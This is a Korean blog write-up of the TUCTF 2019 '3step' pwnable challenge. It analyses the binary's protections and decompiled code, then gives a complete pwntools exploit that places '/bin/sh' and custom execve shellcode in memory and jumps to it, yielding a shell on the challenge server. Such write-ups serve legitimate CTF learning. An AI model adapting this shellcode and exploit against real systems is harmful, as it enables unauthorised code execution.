TUCTF 2019 Pwnable 3step

3step

32bit 바이너리 3step와 접속 정보 nc chal.tuctf.com 30504가 주어졌습니다.

>>> e = ELF('./3step')
[*] '/root/ctf/2019/tu/pwn/3step/3step'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

i386 바이너리이고
Full RELRO 이므로 GOT Overwrite는 아니며
Canary가 있으므로 BOF는 아니고
NX bit가 해제되어 있고 RWX 세그먼트가 있으므로 100% 스택에 쉘코드 실행 가능합니다.

j3rrry@kali:3step# nc chal.tuctf.com 30504
Welcome to our 3-step program!
Try out complimentary snacks
0x5665000c
0xffb5c08c

Step 1: j3rrry
Step 2: j4rrry
Step 3: j5rrry

문제 서버에 접속해보면 16진수 2개를 알려준 다음 3 Step에 걸쳐서 입력을 받습니다.

void __cdecl pwnme()
{
  void (*v0)(void); // [sp+8h] [bp-20h]@1
  char buf; // [sp+Ch] [bp-1Ch]@1
  int v2; // [sp+1Ch] [bp-Ch]@1

  v2 = *MK_FP(__GS__, 20);
  puts("Try out complimentary snacks");
  printf("%p\n", &buf1);
  printf("%p\n\n", &buf);
  printf("Step 1: ");
  read(0, &buf1, 0x12);
  printf("Step 2: ");
  read(0, &buf, 0x10);
  printf("Step 3: ");
  read(0, &v0, 4);
  v0();
  if ( *MK_FP(__GS__, 20) != v2 )
    _stack_chk_fail_local();
}

바이너리를 디스어셈블링 해보면
buf1과 buf의 주소를 출력해준다는 것을 알 수 있습니다.
buf1은 bss 영역, buf는 스택 영역입니다.

그리고 입력을 받는데 길이제한이 0x12, 0x10, 4로 매우 작습니다.
쉘코드를 경량화하도록 커스텀을 해야하는데요.

저는 다음과 같이 했습니다.
Step 1: bss 영역에 ‘/bin/sh’ 문자열 삽입
Step 2: 스택 영역에 쉘코드 삽입
Step 3: 삽입된 쉘코드 오프셋

Exploit

from pwn import *

def start():
    e = ELF('./3step')
    r = remote('chal.tuctf.com', 30504)

    return e, r

def info():
    r.recvuntil('0x')
    bss = int(r.recvline(), 16)
    stack = int(r.recvline(), 16)
    log.info(hex(bss) + ' bss')
    log.info(hex(stack) + ' stack')

    return bss, stack

def step1():
    r.recvuntil(': ')
    r.send('/bin/sh')

def step2():
    r.recvuntil(': ')
    r.send(shellcode)

def step3():
    r.recvuntil(': ')
    r.send(p32(stack))

if __name__ == '__main__':
    e, r = start()
    bss, stack = info()

    shellcode = '''
        mov ebx, {}
        xor ecx, ecx
        xor edx, edx
        xor eax, eax
        mov al, 0xb
        int 0x80
        mov al, 0xb
        int 0x80
    '''.format(bss)
    shellcode = asm(shellcode)

    step1()
    step2()
    step3()

    r.interactive()
Avatar
j3rrry
정보보호 컨설턴트

4년제 졸업했으며 취업연계 교육을 받았으며 CTF 참가하는 것을 좋아합니다.

Related

comments powered by Disqus